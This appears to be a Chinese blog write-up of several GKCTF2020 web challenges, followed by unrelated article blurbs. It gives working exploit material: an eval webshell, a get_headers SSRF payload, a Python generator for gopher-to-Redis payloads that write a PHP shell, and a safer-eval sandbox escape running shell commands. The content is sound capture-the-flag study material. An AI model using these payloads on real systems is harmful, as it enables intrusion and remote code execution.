[GKCTF2020]CheckIN

解题思路

打开直接是源码:

<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
} public function x()
{
return $_REQUEST;
}
}
new ClassName();

直接是代码执行,没有过滤,只是base64编码了ginkgo传入的参数.那么我们直接蚁剑连接shell.

eval($_POST["pass"]);

ZXZhbCgkX1BPU1RbInBhc3MiXSk7

正好与我前面的一篇博客相类似:

看到根目录下有flag和readflag文件,同时flag文件为空,readflag文件为二进制执行文件。打开虚拟终端无权限使用/readflag



php-gc-bypass

poc地址

pwn("/readflag");

把poc放在/tmp目录中(一般都可写入文件),访问include("/tmp/123.php");,使用Ginkgo传参访问,即可获得flag

知识点

php_bypass_disable_functions

[GKCTF2020]cve版签到

解题思路

有hint:cve-2020-7066,就是不知道是刚开始就有的,还是后面放出来的,如果不知道这个CVE可能会卡着。

cve描述

题目描述You just view *.ctfhub.com。结合cve可知,get_headers()函数存在漏洞,使用%00即可截断,上面网页中也有例子。"http://localhost\0.example.com";\0截断后,其实访问的是localhost.那么payload就很明显了直接构造

http://11f22866-0e4a-4964-aefa-62d81d755716.node3.buuoj.cn/?url=http://localhost.ctfhub.com

结尾只能是123

知识点

cve-2020-7066

[GKCTF2020]老八小超市儿

解题思路

打开网页一看是cms,我的第一反应是直接网上寻找有没有现成的渗透思路

直接搜索ShopXO v1.8.0漏洞

渗透测试|shopxo后台全版本获取shell复现 跟着走一遍即可,挺简单的,应该没什么问题

[GKCTF2020]EZ三剑客-EzWeb

解题思路

打开网页写了个提交按钮,看样子是跳转url,简单尝试下无果,127.0.0.1应该是在黑名单里了。查看源码,发现?secret,在框里提交,没用。再尝试在url上提交,发现给了IP地址。考虑内网渗透

c段扫描,发现在173.136.207.11下开启服务。

此时,使用burpsuite,扫描端口

如果报错429说明访问太快,number of threads 设置小一点

扫描发现开启6379端口,这里积累一下

常见端口:6379端口(redis)或3306端口(mysql)

ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf

import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

这是构造redis命令的,并转化为redis RESP协议的poc,在ip和port处添加,运行在python2环境下

将生成的payload打在框里

访问173.136.207.11/shell.php,即可获得flag

知识点

  • ssrf
  • redis配合gopher协议getshell

博客

这里有一篇总结的非常好的师傅博文,可以看看

[GKCTF2020]EZ三剑客-EzNode

解题思路

看题目名字应该是node.js,进去是一个计算器。测试发现都是timeout,查看源码

app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) { }
}, 1000);
} else {
next();
}
});

解释这段代码:

调用express,写一个路由app.use。如果路径为eval,将delay赋值为60000,输出delay值。

将delay返回成一个整数,并判断如果是整数则返回true。返回delay的最大值。

如果执行的代码超过6s,才能执行/eval

interger超过2147483647可以使int溢出



绕过成功

发现引用了一个库safer-eval,那我们先找下关于这个库的内容或漏洞。搜索发现CVE-2019-10759,safer-eval代码注入漏洞。需要safer-eval 1.3.2。查看版本发现safer-eval =1.3.6。不符合

在github中又发现有sandbox escape,关于沙箱逃逸,原型链污染,我还不是特别懂,这个人说了One can break out of the sandbox with the following code in node:,那通过此poc可以逃逸出沙箱

链接

利用poc:

const saferEval = require("./src/index");

const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`; console.log(saferEval(untrusted));

即参数e的值等于process

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

有师傅总结了相关内容,之后再学习:链接

知识点

沙箱逃逸

[GKCTF2020]EZ三剑客-EzTypecho

解题思路

点开网页,看着是要装一个Typecho软件,先跟着来。默认设置安装报错,“不,你不想安装”,一开始以为是自己电脑配置问题,一度怀疑人生,后面搜索,正好发现一篇文章

讲述install.php下,存在反序列化漏洞。跟着来,大同小异,跟着走,poc一打就差不多了

总结

本次比赛习题以已知的cve,软件,cms漏洞为主,主要是要会看师傅们的博客,搜索到相关的解题思路,exp,通过别人的exp学习。总结了搜索cve等漏洞的一些途径:国家信息安全漏洞共享平台,github,freebuf,https://bugs.php.net/

有很多的比赛都不是出的新题,以已知的漏洞为基础,进行一些变更,所以多看相关文章才是王道

刷题[GKCTF2020]的更多相关文章

  1. LeetCode刷题系列

    LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...

  2. ife任务刷题总结(一)-css reset与清除浮动

    本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...

  3. 刷题ING...

    我用codeVS刷题.. 努力准备!!

  4. XidianOJ 1020 ACMer去刷题吧

    题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...

  5. 【BZOJ-4590】自动刷题机 二分 + 判定

    4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 156  Solved: 63[Submit][Status ...

  6. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

  7. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

  8. 用js刷题的一些坑

    leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...

  9. BZOJ4590 自动刷题机

    Description 曾经发明了信号增幅仪的发明家SHTSC又公开了他的新发明:自动刷题机--一种可以自动AC题目的神秘装置.自动 刷题机刷题的方式非常简单:首先会瞬间得出题目的正确做法,然后开始写 ...

随机推荐

  1. nova 通过 python curl 创建虚拟机---keystone v2

    #! /bin/python #coding=utf- import urllib2 import json import requests # token post_url = 'http://12 ...

  2. aarch64 packages 地址链接收集

    1.http://dl.fedoraproject.org/pub/epel/7/aarch64 2.https://rpmfind.net/linux/epel/7/aarch64/ 3.http: ...

  3. Thrift IDL基本语法

    简言:介绍Thrift的IDL基本语法,初次使用或多或少的会有很有"坑"要踩,但是我们要遇山挖山,遇海填海,在学习的道路上坚定的走下去,方可日后吹牛B! IDL Thrift 采用 ...

  4. python字典的概念与基本操作

    字典是非常常用的一种数据结构,它与json格式的数据非常相似,核心就是以键值对的形式存储数据,关于Python中的字典做如下四点说明: 1.构造字典对象需要用大括号表示 {},每个字典元素都是以键值对 ...

  5. muduo源码解析11-logger类

    logger: class logger { }; 在说这个logger类之前,先看1个关键的内部类 Impl private: //logger内部数据实现类Impl,内部含有以下成员变量 //时间 ...

  6. Windows servers 2008 环境下,CA证书服务器搭建。

    CA证书这个东西好像是很久之前的东西了,现在已经不大用了,不过还是作为一种服务,搭建一下. 环境:Windows servers 2008 (虚拟机环境) 1.配置IP地址. 2.添加角色. 选择Ac ...

  7. Python开发的入门教程(六)-函数

    介绍 本文主要介绍Python中函数的基本知识和使用 Python之什么是函数 我们知道圆的面积计算公式为: S = πr² 当我们知道半径r的值时,就可以根据公式计算出面积.假设我们需要计算3个不同 ...

  8. for...in、for...of和forEach

    let arr = [1,2,3,4,5,6]; arr.name="AAA"; for(var i in arr){ //遍历的实际是对象的属性名臣,每一个元素的索引被视为一个属 ...

  9. Copy a Xaml object

    <Control.Resources> <Button Click="Button_OnClick" x:Key="MyButton"> ...

  10. 漏洞重温之sql注入(七)

    漏洞重温之sql注入(七) sqli-labs通关之旅 Less-31 首先,进入31关,我们先添加上id参数. 然后,我们查看源码. 我们门可以看到,index页面源码其实很简单,网页也没有对我们的 ...